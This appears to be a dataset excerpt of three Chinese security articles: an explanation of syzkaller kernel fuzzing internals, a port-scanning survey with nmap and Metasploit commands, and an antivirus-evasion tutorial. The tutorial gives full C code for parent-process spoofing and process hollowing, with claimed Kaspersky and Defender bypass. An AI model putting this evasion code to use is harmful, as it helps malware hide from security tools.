text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
这是内核漏洞挖掘技术系列的第八篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
第六篇：[内核漏洞挖掘技术系列(4)——syzkaller(2)](https://xz.aliyun.com/t/5098
"内核漏洞挖掘技术系列\(4\)——syzkaller\(2\)")
第七篇：[内核漏洞挖掘技术系列(4)——syzkaller(3)](https://xz.aliyun.com/t/5154
"内核漏洞挖掘技术系列\(4\)——syzkaller\(3\)")
在上一篇文章中我们主要介绍了syzkaller是怎么处理crash的，这篇文章我们主要介绍vmLoop函数中是怎么进行fuzz的。在runInstance函数中把syz-fuzzer和syz-executor复制到VM中，调用FuzzerCmd函数通过ssh执行syz-fuzzer。
执行的命令大概像下面这样：
/syz-fuzzer -executor=/syz-executor -name=vm-0 -arch=amd64 -manager=10.0.2.10:33185 -procs=1 -leak=false -cover=true -sandbox=none -debug=true -v=100
同时MonitorExecution函数进行监控，检测输出中的内核oops信息、丢失连接、挂起等等。
在fuzzer.go的main函数中首先进行了一些设置，比较重要的是通过RPC调用的Check函数。Check函数最终调用loadCorpus函数将db中的语料加载到mgr.candidates中。在fuzzer.go的main函数最后调用pollLoop函数，pollLoop函数中又调用了poll函数，在poll函数中继续通过RPC调用Poll函数，Poll函数主要是调用了candidateBatch函数取得mgr.candidates，将它们加入到fuzzer的workQueue中。
返回fuzzer.go的main函数中，然后调用了CalculatePriorities函数和BuildChoiceTable函数。
对于给定的一对系统调用X和Y，prios[X][Y]是指我们对在包含系统调用X的程序中添加系统调用Y是否可能得到新的覆盖的猜测。当前算法有两个组件：静态和动态。静态组件基于对参数类型的分析。例如，如果系统调用X和系统调用Y都接受fd
[sock]，那么它们在一起更可能得到新的覆盖。动态组件基于语料库中单个程序中特定系统调用出现的频率。例如，如果socket和connect经常一起出现在程序中，那么会给这对系统调用提供更高的优先级。在CalculatePriorities函数中分别调用了calcStaticPriorities函数和calcDynamicPrio函数计算静态部分和动态部分，最后返回的二维数组dynamic[i][j]中系统调用i和系统调用j的优先级是二者的乘积。
在calcStaticPriorities函数中调用calcResourceUsage函数创建了一个hash表，key是string类型，表示某一种资源；value也是一个hash表，key是系统调用的id，value是权重。资源是通过遍历函数参数得到的，比如可以是Vma，Ptr，Buffer等等。每种类型的权重是不同的，比如Vma是0.5，Ptr是1.0等等。在noteUsage函数中同一种资源同一个系统调用做记录的时候只会记录最大的值。calcStaticPriorities函数在遍历的过程中对于同一种资源把系统调用A占该资源的权重乘上系统调用B占该资源的权重加到系统调用A和B的优先级里。
而当A等于B时prios被设置为A与其它所有系统调用prios的最大值，最后调用normalizePrio函数规范化。
动态部分的计算如前所述，非常简单，如果语料库一对系统调用一起出现在程序中那么会给这对系统调用的prios加1。最后同样也是要调用normalizePrio函数规范化。
CalculatePriorities函数之后会调用BuildChoiceTable函数，它基于CalculatePriorities函数计算的prios和启用的系统调用计算出一个类似的表run，不过对于系统调用i和系统调用j来说`run[i][j]`的值是之前`run[i][x]`(x小于j)的和加上prios中i和j对应的值乘上1000。所以对于run[x]来说是由小到大排好序的。Choose函数的功能是对于一个给定的系统调用根据run表返回一个系统调用。选择仍然是随机的，run表仅仅提供了有限的权重。
在上一篇文章中我们说到config文件中的procs参数表示每个VM中的并行测试进程数，所以接下来：
现在让我们进入loop函数。
WorkQueue包含还没有fuzz的对象。WorkQueue对它们进行优先排序，例如我们希望在销毁程序之前对新的输入进行分类并发送给manager，以便不会丢失让VM崩溃的程序。WorkQueue中的对象有
**WorkTriage** ， **WorkSmash** 和 **WorkCandidate**
三类。在loop函数中遍历WorkQueue，对于这三种对象分别调用triageInput函数，smashInput函数和execute函数。后面分别还有对Generate函数和Mutate函数的调用，它们分别生成新的系统调用和对已知的系统调用进行变异。
**WorkTriage**
是我们在第一次执行时注意到可能存在新覆盖率的程序，但还不确定。在分类过程中我们将知道这些程序是否提供了新的覆盖，如果是，则最小化它们并添加到语料库中。
**WorkSmash**
是刚刚添加到语料库中的程序。在smashInput函数中如果设置了comparisonTracingEnabled则调用executeHintSeed函数。hint基本上是一个由指向程序的一个系统调用中的一个参数的指针和一个值组成，该值应该赋给该参数(syzkaller中称之为replacer)。syzkaller中hint的原理如下：fuzzer启动一个程序(hint
seed)，并为程序中的每个系统调用收集所有比较的数据。接下来，它尝试匹配获得的比较操作数的值和输入参数的值。对于每一个这样的匹配，fuzzer都会用保存的值替换指定的参数来改变程序。如果获得了一个有效的程序，fuzzer启动它并检查是否获得了新的覆盖率。收集比较的数据是通过kcov中提供的KCOV_MODE_TRACE_CMP模式实现的。
在executeHintSeed函数中首先执行原始程序，在MutateWithHints函数中用系统调用参数和保存在compMaps中的比较操作数之间的每一次匹配对初始程序进行Mutate。CompMap是一个uint到uint64Set的映射，uint64Set又是一个uint64到bool的映射。执行每一个这样的Mutate之后检查它是否提供新的覆盖率。
在generateHints函数中主要是调用了checkConstArg函数和checkDataArg函数，在这两个函数中调用shrinkExpand函数得到replacer替换掉原来的值。
还是以test中的例子说明。比如说有这样的代码：
// Models the following code:
// void f(u64 qw) {
// u8 b = (u8) qw
// u16 w = (u16) qw
// u32 dw = (u32) qw
// if (b == 0xab) {...}
// if (w == 0xcdcd) {...}
// if (dw == 0xefefefef) {...}
// if (qw == 0x0101010101010101) {...}
// }; f(0x1234567890abcdef);
那么CompMap中的内容应该是：
CompMap{
0xef: uint64Set{0xab: true},
0xcdef: uint64Set{0xcdcd: true},
0x90abcdef: uint64Set{0xefefefef: true},
0x1234567890abcdef: uint64Set{0x0101010101010101: true},
},
得到的结果是：
uint64Set{
0x1234567890abcdab: true,
0x1234567890abcdcd: true,
0x12345678efefefef: true,
0x0101010101010101: true,
},
再比如说有这样的代码：
// void f(i32 dw) {
// i64 qw = (i32) dw;
// if (qw == -2) {...};
// }; f(-1);
那么CompMap中的内容应该是：
CompMap{0xffffffffffffffff: uint64Set{0xfffffffffffffffe: true}},
得到的结果是：
uint64Set{0xfffffffe: true},
这里涉及到位数的扩展和截断，也是函数名的由来。当然对于下面这样的情况：
// void f(i8 b) {
// i16 w = (i16) b;
// if (w == (i16) 0xfeff) {...};
// }; f(-1);
`w == (i16) 0xfeff`永远不可能成立，所以结果为空。这样满足程序中的比较条件，能够得到更多的路径。
**WorkCandidate**
是来自hub的程序，我们还不知道它们对fuzzer是否有用，proc处理它们的方式与本地Generate和Mutate的程序相同。在经过proc.execute->proc.executeRaw->proc.env.Exec->env.cmd.exec一系列的调用后将数据传给executor执行。在proc.env.Exec函数调用env.cmd.exec函数之前先调用makeCommand函数。makeCommand函数设置pipe通信并通过osutil.Command运行executor，executor从fuzzer读取输入并运行系统调用。
我们来看看executor目录下的executor.cc中的main函数。首先做的是重新映射输入/输出，之后根据上一篇文章我们已经提过config中的sandbox不同的设置分别调用do_sandbox_(none/setuid/namespace)等函数。以位于executor目录下的common_linux.h中的do_sandbox_none函数为例，它主要是调用了loop函数，接下来经过execute_one->schedule_call->thread_create->thread_start->worker_thread->execute_call->execute_syscall一系列的调用后系统调用最终被执行，最后得到代码覆盖率等信息。
在这一篇文章中我们介绍了vmLoop函数中是怎么进行fuzz的，关于该选择哪些系统调用进行fuzz虽然syzkaller通过静态和动态组件计算了权重，但是仍然有一些改进的余地。在USENIX
Security 2017上的一篇论文MoonShine: Optimizing OS Fuzzer Seed Selection with Trace
Distillation中作者设计了一种名为Distillation(蒸馏)的算法，并且开发了用这种算法来产生种子程序的框架工具MoonShine。真实世界的程序为了让自身功能正常运行，需要满足Trace中system-call正常执行所需要的内核状态。MoonShine使用了轻量级的静态分析来对真实世界中的程序产生的Trace中的system-call进行依赖关系的检测并“蒸馏”出种子程序给syzkaller
fuzz。嵌入了MoonShine的syzkaller发现了17个新的Linux内核漏洞。
源代码：<https://github.com/shankarapailoor/moonshine>
论文地址：<https://www.usenix.org/conference/usenixsecurity18/presentation/pailoor>
论文解读：<https://zhuanlan.zhihu.com/p/60798641>
有兴趣的读者可以自行查阅。
在下一篇文章中我们将介绍Generate和Mutate的具体方式。 | 社区文章 |
# Antivirus Bypass（二）基于CreateProcess函数
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本篇文章是Bypass思路系列文章的第二篇，后续会持续更新有关Bypass的思路
因为工作原因，文章断断续续，时间线上会存在差异，思路及代码可行性仅供参考。
若文章中存在说的不清楚或者错误的地方 欢迎师傅们指正 感激不尽！！！
**免责声明：这不是制作恶意软件的教程，而是仅用于教育目的的实际案例。**
## 前言
在上一篇[文章末尾](https://www.anquanke.com/post/id/260304)提到两个对CreateProcess的利用方法，本篇文章对两个方法进行补充。
## 一、SpoofParentProcess
父进程欺骗技术，其实就是创建一个进程，指定其他进程为这个新创建进程的父进程。过多详情笔者就不描述了，前辈的文章写的足够详细了。
### 0x00 Bypass Code
以下为笔者实现bypass的代码：
#include <Windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <string>
using namespace std;
int main(int argc, char **canttrustthis)
{
string targetProcess = "explorer.exe";
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
HANDLE parent;
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (strcmp(entry.szExeFile, targetProcess.c_str()) == 0)
{
parent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
break;
}
}
}
CloseHandle(snapshot);
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOEXA si = { 0 };
SIZE_T sizeToAllocate;
// Initialize the process start attributes
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);
// Set the parent process
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent,
sizeof(HANDLE), NULL, NULL))
{
return 0;
}
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
BOOL success = CreateProcessA(
NULL,
const_cast<char *>("C:\\Windows\\system32\\notepad.exe"),
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
(LPSTARTUPINFOA)&si,
&pi
);
CloseHandle(parent);
return 0;
}
Tips：父进程欺骗需要用户权限去启动，父进程为 _NT_ AUTHORITY _SYSTEM_ 权则无法创建进程。
### 0x01 VirusTotal Killing Results
实现Bypass的编译器是VS2010，选用MFC应用程序。
### 0x02 Behavior Detection
经Kaspersky、Windows Defender等动态行为测试，均无提示。
## 二、ProcessHollowing
傀儡进程是指将目标进程的映射文件替换为指定的映射文件，替换后的进程称之为傀儡进程。
### 0x00 Implementation Principle
以挂起的方式打开目标进程，将ShellCode代码写入目标进程，并修改目标进程的执行流程，使其转而执行ShellCode代码，这样，进程还是目标原本进程，但执行的操作却替换成我们的ShellCode了。
### 0x01 Implementation Process
1. 通过 CreateProcess 创建进程，传入参数 CREATE_SUSPENDED 使进程挂起
2. 通过 NtUnmapViewOfSection 清空新进程的内存数据
3. 通过 VirtualAllocEx 申请新的内存
4. 通过 WriteProcessMemory 向内存写入 payload
5. 通过 SetThreadContext 设置入口点
6. 通过 ResumeThread 唤醒进程，执行 payload
### 0x03 Bypass
**ProcessHollowing.cpp**
#include "ProcessHollowing.h"
int ProcessHollowing(char *DestinationProgramPath, char *SourceProgramPath)
{
STARTUPINFOA si = { 0, };
PROCESS_INFORMATION pi = { 0, };
si.cb = sizeof(si);
CreateProcessA(NULL, DestinationProgramPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (!pi.hProcess)
{
return -1;
}
CONTEXT Context = { 0, };
Context.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &Context) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
PEB peb = { 0, };
if (ReadProcessMemory(pi.hProcess, Context.Rdx, &peb, sizeof(PEB), NULL) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
if (NtUnmapViewOfSection(pi.hProcess, peb.ImageBaseAddress) == STATUS_ACCESS_DENIED)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
HANDLE hFile = CreateFileA(SourceProgramPath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
DWORD FileSize = GetFileSize(hFile, NULL);
BYTE *SourceBuffer = malloc(FileSize);
ZeroMemory(SourceBuffer, FileSize);
ReadFile(hFile, SourceBuffer, FileSize, NULL, NULL);
IMAGE_DOS_HEADER *DOS = SourceBuffer;
IMAGE_NT_HEADERS64 *NT = (ULONGLONG)DOS + DOS->e_lfanew;
IMAGE_SECTION_HEADER (*SECTION)[1] = (ULONGLONG)NT + sizeof(IMAGE_NT_HEADERS64);
PVOID SrcImageBase = NT->OptionalHeader.ImageBase;
PVOID DestImageBase = VirtualAllocEx(pi.hProcess, peb.ImageBaseAddress, NT->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (DestImageBase == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
NT->OptionalHeader.ImageBase = DestImageBase;
if (WriteProcessMemory(pi.hProcess, DestImageBase, SourceBuffer, NT->OptionalHeader.SizeOfHeaders, NULL) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
for (int i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (SECTION[i]->PointerToRawData == NULL)
{
continue;
}
PVOID SrcSectionRowDataPointer = (ULONGLONG)SourceBuffer + SECTION[i]->PointerToRawData;
PVOID DestSectionVirtualAddress = (ULONGLONG)DestImageBase + SECTION[i]->VirtualAddress;
if (WriteProcessMemory(pi.hProcess, DestSectionVirtualAddress, SrcSectionRowDataPointer, SECTION[i]->SizeOfRawData, NULL) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
}
if (DestImageBase != SrcImageBase)
{
IMAGE_BASE_RELOCATION *BASE_RELOCATION = NULL;
for (int i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (NT->OptionalHeader.DataDirectory[5].VirtualAddress == SECTION[i]->VirtualAddress)
{
BASE_RELOCATION = (ULONGLONG)SourceBuffer + SECTION[i]->PointerToRawData;
break;
}
}
DWORD SIZE_RELOCTION = NT->OptionalHeader.DataDirectory[5].Size;
if (BASE_RELOCATION == NULL || SIZE_RELOCTION == 0)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
DWORD SIZE = 0;
while (SIZE_RELOCTION != SIZE)
{
BASE_RELOCATION_ENTRY (*Type)[1] = (ULONGLONG)BASE_RELOCATION + 8;
for (int i = 0; i < (BASE_RELOCATION->SizeOfBlock - 8) / 2; i++)
{
if ((*Type[i]).Offset != NULL)
{
PVOID HardCodingAddress = (ULONGLONG)DestImageBase + BASE_RELOCATION->VirtualAddress + (*Type[i]).Offset;
ULONGLONG HardCodingData;
if (ReadProcessMemory(pi.hProcess, HardCodingAddress, &HardCodingData, 8, NULL) == NULL)
{
continue;
}
HardCodingData -= (ULONGLONG)SrcImageBase;
HardCodingData += (ULONGLONG)DestImageBase;
if (WriteProcessMemory(pi.hProcess, HardCodingAddress, &HardCodingData, 8, NULL) == NULL)
{
continue;
}
}
}
SIZE += BASE_RELOCATION->SizeOfBlock;
BASE_RELOCATION = (ULONGLONG)BASE_RELOCATION + BASE_RELOCATION->SizeOfBlock;
}
}
ULONGLONG NewEntryPoint = (ULONGLONG)DestImageBase + NT->OptionalHeader.AddressOfEntryPoint;
Context.Rcx = NewEntryPoint;
if (SetThreadContext(pi.hThread, &Context) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
if (ResumeThread(pi.hThread) == NULL)
{
TerminateProcess(pi.hProcess, 0);
return -1;
}
free(SourceBuffer);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdParam,
int nCmdShow)
{
ProcessHollowing("explorer.exe", "MessageBox.exe");
return 0;
}
**ProcessHollowing.h**
#pragma once
#include <stdio.h>
#include <windows.h>
#include <dbghelp.h>
#define STATUS_ACCESS_DENIED 0xC0000022
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PEB
{
BYTE InheritedAddressSpace;
BYTE ReadImageFileExecOptions;
BYTE BeingDebugged;
BYTE SpareBool;
void *Mutant;
void *ImageBaseAddress;
void *Ldr;
void *ProcessParameters;
void *SubSystemData;
void *ProcessHeap;
void *FastPebLock;
void *FastPebLockRoutine;
void *FastPebUnlockRoutine;
DWORD EnvironmentUpdateCount;
void *KernelCallbackTable;
DWORD SystemReserved[1];
DWORD ExecuteOptions : 2;
DWORD SpareBits : 30;
void *FreeList;
DWORD TlsExpansionCounter;
void *TlsBitmap;
DWORD TlsBitmapBits[2];
void *ReadOnlySharedMemoryBase;
void *ReadOnlySharedMemoryHeap;
void **ReadOnlyStaticServerData;
void *AnsiCodePageData;
void *OemCodePageData;
void *UnicodeCaseTableData;
DWORD NumberOfProcessors;
DWORD NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
DWORD HeapSegmentReserve;
DWORD HeapSegmentCommit;
DWORD HeapDeCommitTotalFreeThreshold;
DWORD HeapDeCommitFreeBlockThreshold;
DWORD NumberOfHeaps;
DWORD MaximumNumberOfHeaps;
void **ProcessHeaps;
void *GdiSharedHandleTable;
void *ProcessStarterHelper;
DWORD GdiDCAttributeList;
void *LoaderLock;
DWORD OSMajorVersion;
DWORD OSMinorVersion;
WORD OSBuildNumber;
WORD OSCSDVersion;
DWORD OSPlatformId;
DWORD ImageSubsystem;
DWORD ImageSubsystemMajorVersion;
DWORD ImageSubsystemMinorVersion;
DWORD ImageProcessAffinityMask;
DWORD GdiHandleBuffer[34];
void (*PostProcessInitRoutine)();
void *TlsExpansionBitmap;
DWORD TlsExpansionBitmapBits[32];
DWORD SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
void *pShimData;
void *AppCompatInfo;
UNICODE_STRING CSDVersion;
void *ActivationContextData;
void *ProcessAssemblyStorageMap;
void *SystemDefaultActivationContextData;
void *SystemAssemblyStorageMap;
DWORD MinimumStackCommit;
} PEB, *PPEB;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information,
ProcessImageFileName,
ProcessLUIDDeviceMapsEnabled,
ProcessBreakOnTermination,
ProcessDebugObjectHandle,
ProcessDebugFlags,
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessTlsInformation,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessImageFileMapping,
ProcessAffinityUpdateMode,
ProcessMemoryAllocationMode,
ProcessGroupInformation,
ProcessTokenVirtualizationEnabled,
ProcessConsoleHostProcess,
ProcessWindowInformation,
MaxProcessInfoClass
} PROCESSINFOCLASS;
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef struct _BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
NTSYSAPI NTSTATUS NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);
int ProcessHollowing(char *DestinationProgramPath, char *SourceProgramPath);
### 0X04 VirusTotal Killing Results
### 0x05 Behavior Detection
* * *
参考链接：
<https://www.anquanke.com/post/id/168618>
<https://github.com/idan1288/ProcessHollowing32-64> | 社区文章 |
本篇文章大概介绍了一下目前主流的端口扫描技术，层面不深，面向对端口扫描不太清楚的同学，若文章有错，还请师傅们斧正。
按照目前的协议类型，我们大致可以知道有：
>
> 一个IP地址可以有65535(2^16)个端口，范围则是从0到65535(2^16-1)，每个端口按照协议又可以分为两种类型：一种是TCP端口；另一种是UDP端口。
>
>
> TCP、UDP都是IP层的传输协议，其中TCP是面向连接、可靠的字节流服务；UDP则是不可靠的，面向数据报的服务。每一个端口都会支持这两种协议，因此可以基于这两种协议进行端口扫描。
以及现在还有通过在 TCP/IP 模型中的网络层 ICMP 协议来探测端口的扫描技术。
# TCP
TCP报文这里就不再细讲了，也不是重点，放一张TCP数据报文的图，具体可以去百度百科了解：
TCP三次握手：
## TCP CONNECT SCAN
原理很简单，与目标端口建立3次握手，如果成功建立则为`open`，收到`RST`则为`close`
### usage
MSF 模块：
use auxiliary/scanner/portscan/tcp
Nmap 选项参数：
nmap -sT scanme.nmap.org
## TCP SYN SCAN
也称为TCP半连接扫描，只发送三次握手的第一次SYN报文段，如果收到`ACK+SYN`则为`open`，收到`RST`则为`close`，这种好处是不必等待三次握手完全完成，速度快且不容易被防火墙记录进日志。
Nmap 处理方式：
Probe Response | Assigned State
---|---
TCP SYN/ACK response | `open`
TCP RST response | `closed`
No response received (even after retransmissions) | `filtered`
ICMP unreachable error (type 3, code 1, 2, 3, 9, 10, or 13) | `filtered`
### usage
MSF 模块：
use auxiliary/scanner/portscan/syn
Nmap 参数
nmap -sS scanme.nmap.org
## TCP Xmas Tree SCAN
客户端向服务端发送带有 `PSH`，`FIN`，`URG` 标识的数据包(即不含有`ACK SYN RST`)，被称为TCP Xmas
Tree扫描。其利用的是`RFC`的规定:
> 如果不设置SYN，RST，或者ACK位的报文发送到开放端口，理论上，这不应该发生，如果您确实收到了，丢弃该报文，返回。
那么就有：
> 如果扫描系统遵循该RFC，当端口关闭时，任何不包含SYN，RST，或者ACK位的报文会导致
> 一个RST返回而当端口开放时，应该没有任何响应。只要不包含SYN，RST，或者ACK, 任何其它三种(FIN，PSH，and URG)的组合都行。
Nmap 对 NULL, FIN, or Xmas 扫描的处理：
Probe Response | Assigned State
---|---
No response received (even after retransmissions) | `open | filtered`
TCP RST packet | `closed`
ICMP unreachable error (type 3, code 1, 2, 3, 9, 10, or 13) | `filtered`
### usage
MSF 模块：
use auxiliary/scanner/portscan/xmas
Nmap 选项参数：
Null scan (`-sN`)
Does not set any bits (TCP flag header is 0)
FIN scan (`-sF`)
Sets just the TCP FIN bit.
Xmas scan (`-sX`)
Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.
## TCP NULL SCAN
空扫描即`flag`位全 0 ，如果没有回复则为`open`，收到`RST`则为`close`
## TCP ACK SCAN
使用TCP ACK扫描不能够确定端口的关闭或者开放，因为当发送给对方一个含有 ACK
表示的TCP报文的时候，都返回含有RST标志的报文，无论端口是开放或者关闭。所以，不能使用TCP
ACK扫描来确定端口是否开放或者关闭。但是可以利用它来扫描防火墙的配置，用它来发现防火墙规则，确定它们是有状态的还是无状态的，哪些端口是被过滤的。
向服务端发送一个带有 ACK 标识的数据包，如果收到带有 RST 标识的响应，则说明服务端没有过滤，不存在状态防火墙。
### usage
可以使用 msf 的模块
use auxiliary/scanner/portscan/ack
Nmap 可以用以下命令
nmap -sA scanme.nmap.org
## TCP WINDOW SCAN
TCP 窗口扫描的流程类似于 ACK 扫描，都是向服务端发送带有 ACK 标识的数据包，不同的在于 TCP 窗口扫描会检查收到的 RST
数据包中的窗口大小，如果 RST 数据包中的窗口大小不为零，则说明目标端口是开放的。
如果 RST 数据包中的窗口大小为零，则说明目标端口处于关闭状态。
Nmap 对 TCP Window 扫描的处理：
Probe Response | Assigned State
---|---
TCP RST response with non-zero window field | `open`
TCP RST response with zero window field | `closed`
No response received (even after retransmissions) | `filtered`
ICMP unreachable error (type 3, code 1, 2, 3, 9, 10, or 13) | `filtered`
### usage
Nmap 扫描参数：
nmap -sW docsrv.caldera.com
## TCP Idle Scan
1998年，安全研究员Antirez（曾参与编辑nmap中有关hping2工具的相关文章）在Bugtraq邮件列表中发布了一篇关于新的端口扫描技术的文章。Idle
Scan，也就慢慢的为众人所了解，它允许进行完全盲目的端口扫描。事实上，攻击者可以不用向目标发送数据包就完成扫描工作！相反，用猥琐的边信道攻击是能够让扫描映射到一个Zombie
主机上的。除了极其隐蔽的情况，这种扫描方式允许挖掘机器之间基于IP的信任关系。
虽然 Idle Scan 比目前讨论的任何技术都复杂，但您无需成为TCP / IP专家就能理解它。你只需要知道这些就够了：
* 确定TCP端口是否打开的一种方法是向端口发送SYN（会话建立）数据包。如果端口打开，目标机器将响应SYN / ACK（会话请求确认）数据包，如果端口关闭，则响应RST（重置）。这是前面讨论的SYN扫描的基础。
* 接收未经请求的SYN / ACK数据包的计算机将使用RST进行响应。未经请求的RST将被忽略。
* Internet上的每个IP数据包都有一个片段标识号（IP ID）。由于许多操作系统只是为它们发送的每个数据包递增此数字，因此探测IPID可以告诉攻击者自上次探测以来已发送了多少数据包。
结合以上特征，就可以伪造身份去扫描目标网络，所以看起来就像是无辜的 Zombie 主机在扫描。
### Idle Scan Step by Step
从本质上来看，Idle Scan 只需要重复3个步骤就ok了。
1. 探查Zombie的IP ID并记录下来。
2. 在Zombie主机上伪造一个包，然后把包发送给目标主机端口。根据端口的状态，目标主机可能会也有可能不会导致Zombie主机IPID值增加。
3. 再探查Zombie主机的IP ID。比较两次得到IPID值
经过这样一个流程，Zombie主机的 IP ID
应该会增加1~2。如果只是增加了1，那么就可以说明Zombie主机还没有发出任何包，当然，响应攻击者的探查请求除外。没有发送包也就意味着目标端口没有被打开（也可能是目标主机向Zombie主机发送了一个RST包，导致请求被忽略，或者是根本就是什么都没有做）。增加的如果是2，那就表明Zombie主机成功在两个探测器之间发送了包。这种情况一般情况都意味着目标端口是开着的（目标大概会向Zombie主机发送一个SYN/ACK包去响应攻击者伪造的SYN，从Zombie主机诱导RST包）。如果是增加了一个比2还大的数字，那么就说明Zombie主机太糟糕了！它可能不能胜任预测IPID数值，也可能是正在忙于其他与Idle
Scan无关的事情。
虽然关闭了端口和被过滤的端口会发生的事情稍微有点点不同，但是攻击者处理的方法都一样，IPID都只是增加1。所以，在Idel
Scan中无法区别端口到底是关闭的还是已经过滤了。当Nmap记录的IPID增加了1，也就被标记成了close丨filterred。
以下三张图大略可以说明端口被打开，关闭，过滤的情况。
端口开放：
端口关闭：
端口被过滤：
Idel Scan根本上来讲就是一个隐性扫描，Nmap提供了decoy scanning (-D)，帮助使用者保护自己的身份。如果不是使用的（类似Idel
Scan扫描方式）仍然需要攻击者通过自身真实IP向目标发送数据包以获取扫描结果。Idel
Scan扫描结果其中之一就有入侵检测系统通常会发送一个Zombie主机已经开始扫描的通知。所以它可以作为一个框架去扫描另外一个目标，当你查阅入侵检测系统（IDS）时，请记住这种可能性。
Idel
Scan的一个独特优势便是，它可以绕开某些过滤防火墙和路由器。IP源地址过滤，是一种常见的（虽然很弱）用于限制机器连接到敏感主机或者说网络上的安全机制。举个例子，一个公司数据库服务器，只允许公共网络连接。或者，家庭用户只允许SSH连接到工作机上面。
Idel Scanning有时也可以被用来映射信任关系，关键在于Idel
Scan最终会从Zombie主机获取开放端口列表。一个正常的扫描对于上述数据库服务器可能会显示没有端口开放，但是当将Zombie主机作为Web
Sever的IP，使用Idel Scan就可能将数据库相关开放端口暴露出来。
映射出的这些信任关系就可能作为攻击者优先考虑的目标，上面所讨论的方式手法很猥琐哇！
Idel Scan有一个缺点就是它比其他一些扫描方式所花费的时间更长。尽管在《[Idel
Scan算法实现](http://nmap.org/book/idlescan.html#scan-methods-idle-scan-algorithms)》章节中有对Idel Scan的优化算法，一个只需要15秒就可以完成的SYN，Idel
